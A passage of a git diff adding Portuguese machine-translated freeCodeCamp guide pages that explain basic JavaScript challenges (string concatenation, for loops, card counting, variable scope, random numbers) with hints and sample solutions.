+Concatenar significa ligar-se. Pense no operador '+' como uma corrente que une as cordas; adicione as cordas como você adiciona números. Certifique-se de que a sua ortografia está correta! Tome nota dos espaços entre as palavras.
+```
+var str = "Good " + "job!" // It says "Good job!" 
+ var abc = "Good" + "job!" // It says "Goodjob!" 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/concatenating-strings-with-the-plus-equals-operator/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/concatenating-strings-with-the-plus-equals-operator/index.md
new file mode 100644
index 0000000000..273215a02c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/concatenating-strings-with-the-plus-equals-operator/index.md
@@ -0,0 +1,13 @@
+---
+title: Concatenating Strings with the Plus Equals Operator
+localeTitle: Concatenando Strings com o Operador Plus Equals
+---
+## Concatenando Strings com o Operador Plus Equals
+
+O operador '+ =' pode concatenar (link) cadeias facilmente. Verifique se a ortografia está correta e se você deixou espaços apropriados.
+```
+var str = "Hello "; 
+ str += "coding"; // Now the string reads "Hello coding" 
+ str += "camper!"; // And now the string reads "Hello codingcamper!" 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/constructing-strings-with-variables/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/constructing-strings-with-variables/index.md
new file mode 100644
index 0000000000..dbe2ec8795
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/constructing-strings-with-variables/index.md
@@ -0,0 +1,14 @@
+---
+title: Constructing Strings with Variables
+localeTitle: Construindo Strings com Variáveis
+---
+## Construindo Strings com Variáveis
+
+Adicione variáveis ​​que armazenam strings para criar strings mais longas. Verifique se a ortografia e o espaçamento estão corretos.
+```
+var myName = "Bobby"; 
+ var myFavLetter = "B"; 
+ var sentence = "Hello, I'm " + myName + ". My favorite letter is " + myFavLetter + "."; 
+  //The result is "Hello, I'm Bobby. My favorite letter is B. 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/count-backwards-with-a-for-loop/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/count-backwards-with-a-for-loop/index.md
new file mode 100644
index 0000000000..5707a71123
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/count-backwards-with-a-for-loop/index.md
@@ -0,0 +1,48 @@
+---
+title: Count Backwards With a For Loop
+localeTitle: Conte para trás com um loop for
+---
+## Conte para trás com um loop for
+
+Aqui está o exemplo:
+
+```javascript
+// Example 
+ var ourArray = []; 
+ 
+ for (var i = 10; i > 0; i -= 2) { 
+  ourArray.push(i); 
+ } 
+ 
+ // Setup 
+ var myArray = []; 
+ 
+ // Only change code below this line. 
+```
+
+#### DICA: 1
+
+*   criar um novo loop para myArray
+
+#### DICA: 2
+
+*   começar do primeiro número ímpar um pouco antes de 9
+
+# AVISO DE SPOILER: SOLUÇÃO À FRENTE
+
+```javascript
+var ourArray = []; 
+ 
+ for (var i = 10; i > 0; i -= 2) { 
+  ourArray.push(i); 
+ } 
+ 
+ // Setup 
+ var myArray = []; 
+ 
+ // Only change code below this line. 
+ for (var i = 9; i > 0; i-=2){ 
+  myArray.push(i) 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/counting-cards/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/counting-cards/index.md
new file mode 100644
index 0000000000..33bdd73cc7
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/counting-cards/index.md
@@ -0,0 +1,134 @@
+---
+title: Counting Cards
+localeTitle: Contando Cartões
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+No jogo de cassino **Blackjack** , um jogador pode ganhar uma vantagem sobre a casa, mantendo o controle do número relativo de cartas altas e baixas remanescentes no baralho. Isso é chamado de contagem de cartas.
+
+Ter mais cartas altas restantes no baralho favorece o jogador. Cada cartão recebe um valor de acordo com a tabela abaixo. Quando a contagem é positiva, o jogador deve apostar alto. Quando a contagem é zero ou negativa, o jogador deve apostar baixo.
+
+Valor | Postais  
+\----- | : -------------------:  
++1 | 2, 3, 4, 5, 6  
+0 | 7, 8, 9  
+\-1 | 10, 'J', 'Q', 'K', 'A'
+
+Você vai escrever uma função de contagem de cartões. Ele receberá um parâmetro de **cartão** e incrementará ou decrementará a variável de **contagem** global de acordo com o valor do cartão (consulte a tabela). A função retornará uma string com a contagem atual e a string `Bet` se a contagem for positiva ou `Hold` se a contagem for zero ou negativa. A contagem atual e a decisão do jogador ( `Bet` ou `Hold` ) devem ser separadas por um único espaço.
+
+*   Altere o código abaixo `// Only change code below this line` e até `// Only change code above this line`
+*   Certifique-se de que você está editando o interior da função `cc` .
+*   Use o que você aprendeu para verificar o valor de cada parâmetro de **cartão** passado para a função.
+*   Mantenha uma contagem desse número.
+*   Se a contagem final for 1 ou maior, retorne **\# Hold** .
+*   Se a contagem final for 0 ou menos, retorne **\# Aposta** .
+
+**Exemplo de Saída:**
+
+*   \-3 espera
+*   5 Aposta
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+Use uma instrução `switch` (ou `else if` ) para contar o valor de cada cartão.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+Adicionar / subtrair o valor de cada cartão para **contagem de** variáveis. Se a carta valer 0, não faça nada.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+Depois de contar os cards, use uma instrução `if` para verificar o valor da **contagem** . Além disso, certifique-se de que seu `return` tenha um espaço entre o número e a string.
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+
+```javascript
+    function cc(card) { 
+      // Only change code below this line 
+      switch(card){ 
+        case 2: 
+        case 3: 
+        case 4: 
+        case 5: 
+        case 6: 
+          count++; 
+          break; 
+        case 10: 
+        case "J": 
+        case "Q": 
+        case "K": 
+        case "A": 
+          count--; 
+          break; 
+      } 
+      if (count > 0){ 
+        return count + " Bet"; 
+      } else { 
+        return count + " Hold"; 
+      } 
+      // Only change code above this line 
+    } 
+```
+
+### Explicação do código:
+
+*   Verifique o valor de cada cartão por meio de uma instrução `switch` .
+*   A **contagem** variável:
+    *   Aumenta em 1 se o cartão for 2, 3, 4, 5 ou 6.
+    *   Já que 7, 8 e 9 não valem nada, nós os ignoramos em nossa instrução `switch` .
+    *   Diminui em 1 se o cartão for um 10, 'J', 'Q', 'K' ou 'A'.
+*   Verifique o valor da **contagem** e retorne a resposta apropriada.
+
+**Exemplo de Execução**
+
+*   `cc(2);` corre.
+*   A instrução `switch` atinge o `case 2` , desce e adiciona 1 à `count` variáveis.
+*   A instrução `switch` , em seguida, atinge a `break` e `cc(3);` corre.
+*   Este ciclo continua até que a chamada final seja feita, `cc('A');` .
+*   Após o `switch` declaração, o `if` instrução verifica `count` , que é agora a 0.
+*   Isso então cai para a instrução `else` , que retornará **0 Hold** .
+
+**_Nota_** : Como mencionado anteriormente, a instrução `switch` também poderia ter sido uma instrução `else if` .
+
+## Solução de código adicional:
+
+```javascript
+function cc(card) { 
+  // Only change code below this line 
+  var regex = /[JQKA]/; 
+  if (card > 1 && card < 7){count++;} 
+  else if (card === 10 || String(card).match(regex)){count--;} 
+ 
+  if (count > 0) return count + " Bet"; 
+  return count + " Hold"; 
+ 
+  // Only change code above this line 
+ } 
+```
+
+· Executar código no [repl.it.](https://repl.it/@AdrianSkar/Basic-JS-Counting-cards)
+
+### Explicação de código
+
+· A função primeiro avalia `if` a `card` condição é um valor maior que `1` e menor que `7` , em cujo caso a `count` é incrementada em um. · Então, se a carta é `10` ou superior, diminui a `count` por um. · A variável `regex` é uma [expressão regular que](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp) representa valores (letras) para as cartas mais altas. · A instrução `else` verifica esses valores com o `|| (logical OR)` operador `|| (logical OR)` ; primeiro para `10` e depois para qualquer string que corresponda à expressão regular usando [String.match ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/match) .
+
+#### Recursos
+
+*   [Contagem de cartas na Wikipedia](https://en.wikipedia.org/wiki/Card_counting)
+*   [Desafio: Selecionando entre muitas opções com instruções de troca](http://www.freecodecamp.com/challenges/selecting-from-many-options-with-switch-statements)
+*   [Desafio: Encadeamento Se Mais Declarações](http://www.freecodecamp.com/challenges/chaining-if-else-statements)
+*   [Desafio: Incrementar um número com Javascript](http://www.freecodecamp.com/challenges/increment-a-number-with-javascript)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/create-decimal-numbers-with-javascript/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/create-decimal-numbers-with-javascript/index.md
new file mode 100644
index 0000000000..45db48c6ab
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/create-decimal-numbers-with-javascript/index.md
@@ -0,0 +1,11 @@
+---
+title: Create Decimal Numbers with JavaScript
+localeTitle: Crie números decimais com JavaScript
+---
+# Crie números decimais com JavaScript
+
+Variáveis ​​numéricas JavaScript podem ter decimais.
+```
+var myDecimal = 2.8; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/declare-javascript-variables/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/declare-javascript-variables/index.md
new file mode 100644
index 0000000000..a849a90995
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/declare-javascript-variables/index.md
@@ -0,0 +1,28 @@
+---
+title: Declare JavaScript Variables
+localeTitle: Declarar variáveis ​​JavaScript
+---
+# Declarar variáveis ​​JavaScript
+
+Quando armazenamos dados em uma estrutura de dados, chamamos de variável. Variáveis ​​JavaScript são escritas no caso do camelo. Um exemplo de caso de camelo é: `camelCase` .
+
+Você pode declarar uma variável dessa maneira
+
+```js
+    var myName = "Rafael"; 
+```
+
+O ES6 introduziu duas outras maneiras de declarar variáveis. **vamos** e **const** . _Let_ é bem parecido com var e a maior parte é intercambiável:
+
+```js
+    let myAge = 36; 
+```
+
+Onde _deixar_ diferir, está em seu escopo. Quando declaramos usando _var_ , é global no escopo. Quando declaramos usando _let_ , o escopo é limitado a essa função. Se você quiser usar uma variável _let_ fora de uma função, você deve torná-la global no escopo ou redeclará-la na próxima função.
+
+**const** , por outro lado, só pode ser declarado uma vez. Seu valor nunca pode mudar.
+
+```js
+    const myName = "Christina"; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/declare-string-variables/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/declare-string-variables/index.md
new file mode 100644
index 0000000000..25723bb692
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/declare-string-variables/index.md
@@ -0,0 +1,16 @@
+---
+title: Declare String Variables
+localeTitle: Declarar Variáveis ​​de Cadeia
+---
+## Declarar Variáveis ​​de Cadeia
+
+Em JavaScript, as variáveis ​​são **dinâmicas** . Isso significa que eles podem conter números, seqüências de caracteres ou qualquer outro tipo de dados em um determinado momento. Para declarar uma string, basta **inicializar** (criar) uma variável:
+```
+var a; 
+```
+
+Em seguida, usando aspas simples ou duplas, declare a string:
+```
+a = "Hello Camper!"; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/decrement-a-number-with-javascript/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/decrement-a-number-with-javascript/index.md
new file mode 100644
index 0000000000..3df6189be9
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/decrement-a-number-with-javascript/index.md
@@ -0,0 +1,13 @@
+---
+title: Decrement a Number with JavaScript
+localeTitle: Decrementar um número com JavaScript
+---
+## Decrementar um número com JavaScript
+
+Decrementar um número usando o operador '-':
+```
+var a = 5; 
+ a--; // Now, 'a' is 4 
+ --a; // Now, 'a' is 3 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/delete-properties-from-a-javascript-object/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/delete-properties-from-a-javascript-object/index.md
new file mode 100644
index 0000000000..34501a677a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/delete-properties-from-a-javascript-object/index.md
@@ -0,0 +1,36 @@
+---
+title: Delete Properties from a JavaScript Object
+localeTitle: Excluir propriedades de um objeto JavaScript
+---
+## Excluir propriedades de um objeto JavaScript
+
+### DICA: 1
+
+*   alterar as propriedades do myDog usando notação de ponto
+
+# AVISO DE SPOILER: SOLUÇÃO À FRENTE
+
+```javascript
+var ourDog = { 
+  "name": "Camper", 
+  "legs": 4, 
+  "tails": 1, 
+  "friends": ["everything!"], 
+  "bark": "bow-wow" 
+ }; 
+ 
+ delete ourDog.bark; 
+ 
+ // Setup 
+ var myDog = { 
+  "name": "Happy Coder", 
+  "legs": 4, 
+  "tails": 1, 
+  "friends": ["freeCodeCamp Campers"], 
+  "bark": "woof" 
+ }; 
+ 
+ // Only change code below this line. 
+ delete myDog.tails; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/divide-one-decimal-by-another-with-javascript/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/divide-one-decimal-by-another-with-javascript/index.md
new file mode 100644
index 0000000000..175b8ecbaf
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/divide-one-decimal-by-another-with-javascript/index.md
@@ -0,0 +1,11 @@
+---
+title: Divide One Decimal by Another with JavaScript
+localeTitle: Divide um decimal por outro com JavaScript
+---
+# Divide um decimal por outro com JavaScript
+
+Javascript usa o símbolo `/` para divisão.
+```
+var quotient = 0.6 / 0.3; //quotient gets the value 2 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/divide-one-number-by-another-with-javascript/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/divide-one-number-by-another-with-javascript/index.md
new file mode 100644
index 0000000000..7574e860b8
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/divide-one-number-by-another-with-javascript/index.md
@@ -0,0 +1,11 @@
+---
+title: Divide One Number by Another with JavaScript
+localeTitle: Divide um número por outro com JavaScript
+---
+# Divide um número por outro com JavaScript
+
+Javascript usa o símbolo `/` para divisão.
+```
+var quotient = 6 / 3; //quotient will get value 2 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/escape-sequences-in-strings/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/escape-sequences-in-strings/index.md
new file mode 100644
index 0000000000..160fd265a8
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/escape-sequences-in-strings/index.md
@@ -0,0 +1,9 @@
+---
+title: Escape Sequences in Strings
+localeTitle: Seqüências de escape em seqüências de caracteres
+---
+## Seqüências de escape em seqüências de caracteres
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/basic-javascript/escape-sequences-in-strings/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/escaping-literal-quotes-in-strings/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/escaping-literal-quotes-in-strings/index.md
new file mode 100644
index 0000000000..83053b4689
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/escaping-literal-quotes-in-strings/index.md
@@ -0,0 +1,19 @@
+---
+title: Escaping Literal Quotes in Strings
+localeTitle: Escapando citações literais em cordas
+---
+## Escapando citações literais em cordas
+
+*   Quando você precisa usar um caractere especial, como `"` dentro de uma string, você precisa escapar usando `\` .
+*   Se você usar aspas duplas `"` para a string, aspas simples `'` na string não precisam ser escapadas.
+*   Se você usar aspas simples `'` para a string, aspas duplas `"` na string não precisam ser escapadas.
+
+## Solução
+
+```javascript
+var myStr = "I am a \"double quoted\" string inside \"double quotes\"."; 
+ var otherStr = 'I am a \'single quoted\' string inside \'single quotes\'.'; 
+ var noEscapeSingle = "There is no need to 'escape' the single quotes."; 
+ var noEscapeDouble = 'There is no need to "escape" the double quotes.'; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/find-the-length-of-a-string/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/find-the-length-of-a-string/index.md
new file mode 100644
index 0000000000..ef2d286035
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/find-the-length-of-a-string/index.md
@@ -0,0 +1,14 @@
+---
+title: Find the Length of a String
+localeTitle: Encontre o comprimento de uma string
+---
+## Encontre o comprimento de uma string
+
+As cordas têm um **atributo** (recurso) chamado 'comprimento'. Tudo o que você precisa fazer é marcá-lo após a string / variável.
+```
+var str1 = "Hello"; 
+ var length1 = str1.length; // This returns 5 
+ 
+ var length2 = " Camper".length; // This returns 7 because the space is counted as one character. 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/finding-a-remainder-in-javascript/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/finding-a-remainder-in-javascript/index.md
new file mode 100644
index 0000000000..504c991880
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/finding-a-remainder-in-javascript/index.md
@@ -0,0 +1,11 @@
+---
+title: Finding a Remainder in JavaScript
+localeTitle: Encontrando um Restante em JavaScript
+---
+# Encontrando um Restante em JavaScript
+
+O operador `%` restante fornece o restante da divisão de dois números.
+```
+var remainder = 11 % 3; //remainder gets the value 2 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/generate-random-fractions-with-javascript/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/generate-random-fractions-with-javascript/index.md
new file mode 100644
index 0000000000..90b8a3208e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/generate-random-fractions-with-javascript/index.md
@@ -0,0 +1,38 @@
+---
+title: Generate Random Fractions with JavaScript
+localeTitle: Gerar frações aleatórias com JavaScript
+---
+# Gerar frações aleatórias com JavaScript
+
+Números aleatórios são úteis para criar um comportamento aleatório.
+
+JavaScript tem uma função `Math.random()` que gera um número decimal aleatório entre 0 (inclusive) e não chega a 1 (exclusivo). Assim `Math.random()` pode retornar um 0, mas nunca retorna um 1.
+
+## Nota
+
+Assim como Armazenando Valores com o Operador Igual, todas as chamadas de função serão resolvidas antes que o retorno seja executado, para que possamos retornar o valor da função `Math.random()` .
+
+## Instruções
+
+Altere randomFraction para retornar um número aleatório em vez de retornar 0.
+
+## **Aviso !!!**
+
+### **Alerta de Spoiler !!**
+
+Uma solução a seguir:
+```
+function randomFraction() { 
+  // Only change code below this line. 
+  var result = 0; 
+  // Math.random() can generate 0. We don't want to     return a 0, 
+  // so keep generating random numbers until we get one     that isn't 0 
+  while (result === 0) { 
+    result = Math.random(); 
+  } 
+ 
+  return result; 
+  // Only change code above this line. 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/generate-random-whole-numbers-with-javascript/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/generate-random-whole-numbers-with-javascript/index.md
new file mode 100644
index 0000000000..156d610d88
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/generate-random-whole-numbers-with-javascript/index.md
@@ -0,0 +1,9 @@
+---
+title: Generate Random Whole Numbers with JavaScript
+localeTitle: Gere números inteiros aleatórios com JavaScript
+---
+## Gere números inteiros aleatórios com JavaScript
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/basic-javascript/generate-random-whole-numbers-with-javascript/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/generate-random-whole-numbers-within-a-range/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/generate-random-whole-numbers-within-a-range/index.md
new file mode 100644
index 0000000000..3a11608c7d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/generate-random-whole-numbers-within-a-range/index.md
@@ -0,0 +1,9 @@
+---
+title: Generate Random Whole Numbers within a Range
+localeTitle: Gerar números inteiros aleatórios dentro de um intervalo
+---
+## Gerar números inteiros aleatórios dentro de um intervalo
+
+**Ajuda para passar no teste final:** _`randomRange` deve usar `myMax` e `myMin` e retornar um número aleatório no seu intervalo._
+
+Você não pode passar no teste final se estiver apenas reutilizando a função `ourRandomRange` dentro de sua fórmula `randomRange` . Você precisa escrever sua própria fórmula que usa as variáveis `myMax` e `myMin` . Ele fará o mesmo trabalho que usando `ourRandomRange` , mas garante que você entendeu os princípios das `Math.floor()` e `Math.random()` .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/global-scope-and-functions/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/global-scope-and-functions/index.md
new file mode 100644
index 0000000000..b41dd0bda6
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/global-scope-and-functions/index.md
@@ -0,0 +1,62 @@
+---
+title: Global Scope and Functions
+localeTitle: Âmbito global e funções
+---
+## Âmbito global e funções
+
+O escopo de uma variável é sua visibilidade; onde no código está a função disponível? Aqui está uma lista dos diferentes escopos que uma variável pode ter.
+
+*   **Escopo global** : a variável está disponível em todo o código
+*   **Escopo local** : Disponível apenas em uma determinada área (como somente dentro da função)
+*   **Escopo do bloco** : disponível dentro de uma área _ainda mais específica_ (como uma declaração if)
+
+Sua tarefa é entender como adicionar `var` (e não adicionar) antes de um nome de variável, pode alterar o escopo da variável.
+
+Quando você adiciona `var` antes do nome da variável, seu escopo é determinado por onde é colocado. Igual a:
+
+```javascript
+var num1 = 18; // Global scope 
+ function fun() { 
+  var num2 = 20; // Local (Function) Scope 
+  if (true) { 
+    var num3 = 22; // Block Scope (within an if-statement) 
+  } 
+ } 
+```
+
+Quando você não faz, este é o resultado:
+
+```javascript
+num1 = 18; // Global scope 
+ function fun() { 
+  num2 = 20; // Global Scope 
+  if (true) { 
+    num3 = 22; // Global Scope 
+  } 
+ } 
+```
+
+Tudo bem, aqui está a solução básica de código.
+
+```javascript
+// Declare your variable here 
+ var myGlobal = 10; 
+ 
+ function fun1() { 
+  oopsGlobal = 5; 
+ 
+ } 
+ 
+ // Only change code above this line 
+ function fun2() { 
+  var output = ""; 
+  if (typeof myGlobal != "undefined") { 
+    output += "myGlobal: " + myGlobal; 
+  } 
+  if (typeof oopsGlobal != "undefined") { 
+    output += " oopsGlobal: " + oopsGlobal; 
+  } 
+  console.log(output); 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/global-vs.-local-scope-in-functions/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/global-vs.-local-scope-in-functions/index.md
new file mode 100644
index 0000000000..398d79e0eb
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/global-vs.-local-scope-in-functions/index.md
@@ -0,0 +1,22 @@
+---
+title: Global vs. Local Scope in Functions
+localeTitle: Escopo global vs. local em funções
+---
+## Escopo global vs. local em funções
+
+Lembre-se de que o escopo global significa que a variável está disponível em todo o código. Escopo local, significa que a variável está disponível dentro de um determinado intervalo.
+
+Neste exercício, você tem uma variável `outerWear` no escopo global com "T-shirt" como valor. Agora você deve criar outra variável chamada `outerWear` , mas desta vez dentro da função `myOutfit()` . A solução básica de código da seguinte forma:
+
+```javascript
+var outerWear = "T-shirt"; 
+ 
+ function myOutfit() { 
+  var outerWear = "sweater"; 
+  return outerWear; 
+ } 
+ 
+ myOutfit(); 
+```
+
+A função retornará o `outerWear` mais próximo que puder encontrar. Desde que criamos um `outerWear` dentro da função, que é o 'mais próximo', então a função retornará "sweater".
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/golf-code/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/golf-code/index.md
new file mode 100644
index 0000000000..08b548c679
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/golf-code/index.md
@@ -0,0 +1,125 @@
+---
+title: Golf Code
+localeTitle: Código de Golfe
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+No jogo de golfe, cada buraco tem um **par que** significa o número médio de **golpes que** um golfista deve fazer para afundar a bola em um buraco para completar a jogada. Dependendo de quão longe acima ou abaixo do **par** seus **traços** são, há um apelido diferente.
+
+Sua função receberá argumentos **par** e **strokes** . Você deve retornar a string correta de acordo com essa tabela, que lista os traços em ordem de prioridade; topo (maior) para baixo (menor):
+
+Strokes | Retorna  
+: --------- | : -------------  
+1 | "Buraco-em-um!"  
+<= par - 2 | "Águia"  
+par - 1 | "Passarinho"  
+par | "Par"  
+par + 1 | "Bogey"  
+par + 2 | "Bogey Duplo" > par + 3 | "Ir para casa!"
+
+**par** e **traços** serão sempre numéricos e positivos.
+
+*   Altere o código abaixo `// Only change code below this line` e acima `// Only change code above this line` .
+*   Certifique-se de que você está editando o interior da função `golfScore` .
+*   Você terá que fazer com que a função retorne exatamente a mesma string mostrada na tabela, dependendo do valor dos parâmetros **par** e **traços** que são passados ​​para sua função.
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+`+number -number` pode ser usado para aumentar ou diminuir um parâmetro em sua condição.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+Você usa `if / else if` cadeias para retornar diferentes valores em diferentes cenários.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+Controle o fluxo de sua função com base na ordem de prioridade das tabelas - superior (maior) para inferior (menor) para retornar os valores de string correspondentes.
+
